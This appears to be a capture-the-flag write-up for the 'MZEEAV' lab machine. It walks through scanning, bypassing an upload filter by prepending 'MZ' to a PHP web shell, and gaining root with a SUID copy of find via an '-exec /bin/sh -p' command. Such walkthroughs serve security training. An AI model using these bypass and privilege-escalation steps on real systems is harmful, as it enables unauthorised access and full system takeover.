MZEEAV

Intro

For this lab machine, the application did not have any known exploits. However, we identified an upload function and bypassed its filtering to upload and execute a PHP web shell. Privilege escalation was achieved by running a renamed copy of the find utility which had SUID / SGID permissions set.

Initial Foothold

A full TCP port scan showed this box had SSH and HTTP services running.

# Nmap 7.94SVN scan initiated Fri Nov  8 09:00:53 2024 as: nmap -p- -sC -sV -oA nmap/fulltcp -vv mzeeav.pg
Nmap scan report for mzeeav.pg (192.168.186.33)
Host is up, received syn-ack (0.059s latency).
Scanned at 2024-11-08 09:00:53 CST for 42s
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey: 
|   3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNEbgprJqVJa8R95Wkbo3cemB4fdRzos+v750LtPEnRs+IJQn5jcg5l89Tx4junU+AXzLflrMVo55gbuKeNTDtFRU9ltlIu4AU+f7lRlUlvAHlNjUbU/z3WBZ5ZU9j7Xc9WKjh1Ov7chC0UnDdyr5EGrIwlLzgk8zrWx364+S4JqLtER2/n0rhVxa9RCw0tR/oL24kMep4q7rFK6dThiRtQ9nsJFhh6yw8Fmdg7r4uohqH70UJurVwVNwFqtr/86e4VSSoITlMQPZrZFVvoSsjyL8LEODt1qznoLWudMD95Eo1YFSPID5VcS0kSElfYigjSr+9bNSdlzAof1mU6xJA67BggGNu6qITWWIJySXcropehnDAt2nv4zaKAUKc/T0ij9wkIBskuXfN88cEmZbu+gObKbLgwQSRQJIpQ+B/mA8CD4AiaTmEwGSWz1dVPp5Fgb6YVy6E4oO9ASuD9Q1JWuRmnn8uiHF/nPLs2LC2+rh3nPLXlV+MG/zUfQCrdrE=
|   256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCUhhvrIBs53SApXKZYHWBlpH50KO3POt8Y+WvTvHZ5YgRagAEU5eSnGkrnziCUvDWNShFhLHI7kQv+mx+4R6Wk=
|   256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4MSEXnpONsc0ANUT6rFQPWsoVmRW4hrpSRq++xySM9
80/tcp open  http    syn-ack Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov  8 09:01:35 2024 -- 1 IP address (1 host up) scanned in 42.72 seconds

Visiting the webpage, we saw an application called "MZEE-AV", which appears to be an antivirus scanner for uploaded PE files.

Viewing the source of the home page, we can see that the upload.php page is called when the upload button is pressed, and that users are then directed to the listing.php page.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    
    <style>
    html { display: flex; justify-content: center;}
    body {background-color: black; color: white;}
    p { color: white; font-family: "Monospace";}
    p2 { color: white; font-family: "Monospace"; text-align: center; font-size: 10px;}
    </style>
    
        <title>MZEE-AV - Check your files</title>
    </head>
    <body>
        <pre>
  __  __ _______ ___     ___   __ 
 |  \/  |_  / __| __|__ /_\ \ / / 
 | |\/| |/ /| _|| _|___/ _ \ V /  
 |_|  |_/___|___|___| /_/ \_\_/   
                                  
        </pre>
<hr>
        
        <br>
		  <!-- HTML5 Input Form Elements -->
		  <input id="fileupload" type="file" name="fileupload" /> 
		  <button id="upload-button" onclick="uploadFile()"> Upload </button>

		  <!-- Ajax JavaScript File Upload Logic -->
		  <script>
		  async function uploadFile() {
		  let formData = new FormData(); 
		  formData.append("file", fileupload.files[0]);
		  await fetch('/upload.php', {
		    method: "POST", 
		    body: formData
		  }); 
		  alert('The file has been uploaded successfully.');
		  window.location = "listing.php";
		  }
		  </script>
        <br>
        
        <p>Check your PE-files with the online AV engine.</p>
        <br>
        <br>
        <hr>
        <p2>by MZEE-AV 2022</p2>
    </body>
</html>

We ran a dirbust scan on the site and identified an upload directory, as well as a backup directory with a backup.zip file.

┌──(joe㉿kali)-[~/hax/pg/mzeeav]
└─$ cat results/scans/tcp80/tcp_80_http_feroxbuster_dirbuster.txt 
200      GET       35l      137w     1321c http://mzeeav.pg/listing.php
200      GET        1l        4w       22c http://mzeeav.pg/upload.php
200      GET       51l      152w     1482c http://mzeeav.pg/
200      GET     1213l     7233w   601221c http://mzeeav.pg/backups/backup.zip
200      GET       16l       59w      944c http://mzeeav.pg/backups/
200      GET       51l      152w     1482c http://mzeeav.pg/index.html
200      GET        1l        7w       33c http://mzeeav.pg/upload/

Unzipping the backup.zip file, this contained a backup of the server's /var/www/html/ directory, which contained source code for the upload.php file.

Reviewing the upload.php file's source code, we discovered that the script checks the first two bytes of any uploaded file for the PE header. The file will only be renamed to its intended filename if it passes this check, otherwise it will be named file.tmp.

<?php

/* Get the name of the uploaded file */
$filename = $_FILES['file']['name'];

/* Choose where to save the uploaded file */
$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;

/* Move the file temporary */
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);

/* Check MagicBytes MZ PEFILE 4D5A*/
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4)); 
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));

/* if its not a PEFILE block it - str_contains onlz php 8*/
//if ( ! (str_contains($magicbytes, '4D5A'))) {
if ( strpos($magicbytes, '4D5A') === false ) {
	echo "Error no valid PEFILE\n";
	error_log(print_r("No valid PEFILE", TRUE));
	error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
	exit ();
}

rename($tmp_location, $location);

?>

We used this insight to modify a PHP webshell by prepending the file with the PE header string "MZ".

┌──(joe㉿kali)-[~/…/pg/mzeeav/results/exploit]                                                                                                    
└─$ echo -n "MZ" > newwebshell.php                                                                                                                

┌──(joe㉿kali)-[~/…/pg/mzeeav/results/exploit]
└─$ cat webshell.php >> newwebshell.php 

We attempted to upload this modified webshell, and were able to successfully execute the PHP code by navigating to the uploaded file in the /upload/ directory.

Using the modified webshell, we were able to execute commands and caught a reverse shell as the www-data user.

Privilege Escalation

We ran linpeas as the www-data user and identified an interesting SUID / SGID file named /opt/fileS.

We triggered the help page for the /opt/fileS binary, and noticed that this mirrored the help page for the find utility, and the help page directed us to addtional documentation for GNU findutils.

www-data@mzeeav:/home/avuser$ /opt/fileS --help
/opt/fileS --help
Usage: /opt/fileS [-H] [-L] [-P] [-Olevel] [-D debugopts] [path...] [expression]

default path is the current directory; default expression is -print
expression may consist of: operators, options, tests, and actions:
operators (decreasing precedence; -and is implicit where no others are given):
      ( EXPR )   ! EXPR   -not EXPR   EXPR1 -a EXPR2   EXPR1 -and EXPR2
      EXPR1 -o EXPR2   EXPR1 -or EXPR2   EXPR1 , EXPR2
positional options (always true): -daystart -follow -regextype

normal options (always true, specified before other expressions):
      -depth --help -maxdepth LEVELS -mindepth LEVELS -mount -noleaf
      --version -xdev -ignore_readdir_race -noignore_readdir_race
tests (N can be +N or -N or N): -amin N -anewer FILE -atime N -cmin N
      -cnewer FILE -ctime N -empty -false -fstype TYPE -gid N -group NAME
      -ilname PATTERN -iname PATTERN -inum N -iwholename PATTERN -iregex PATTERN
      -links N -lname PATTERN -mmin N -mtime N -name PATTERN -newer FILE
      -nouser -nogroup -path PATTERN -perm [-/]MODE -regex PATTERN
      -readable -writable -executable
      -wholename PATTERN -size N[bcwkMG] -true -type [bcdpflsD] -uid N
      -used N -user NAME -xtype [bcdpfls]      -context CONTEXT

actions: -delete -print0 -printf FORMAT -fprintf FILE FORMAT -print 
      -fprint0 FILE -fprint FILE -ls -fls FILE -prune -quit
      -exec COMMAND ; -exec COMMAND {} + -ok COMMAND ;
      -execdir COMMAND ; -execdir COMMAND {} + -okdir COMMAND ;

Valid arguments for -D:
exec, opt, rates, search, stat, time, tree, all, help
Use '-D help' for a description of the options, or see find(1)

Please see also the documentation at http://www.gnu.org/software/findutils/.
You can report (and track progress on fixing) bugs in the "/opt/fileS"
program via the GNU findutils bug-reporting page at
https://savannah.gnu.org/bugs/?group=findutils or, if
you have no web access, by sending email to <bug-findutils@gnu.org>.

The find utility is a known privilege escalation vector when it is set to SUID / SGID due to it's use of the "-exec" argument, which allows us to execute a command in the root context. Using this argument, we were able to achieve a shell as the root user.

www-data@mzeeav:/home/avuser$ /opt/fileS . -exec /bin/sh -p \; -quit
/opt/fileS . -exec /bin/sh -p \; -quit
# whoami
whoami
root

Last updated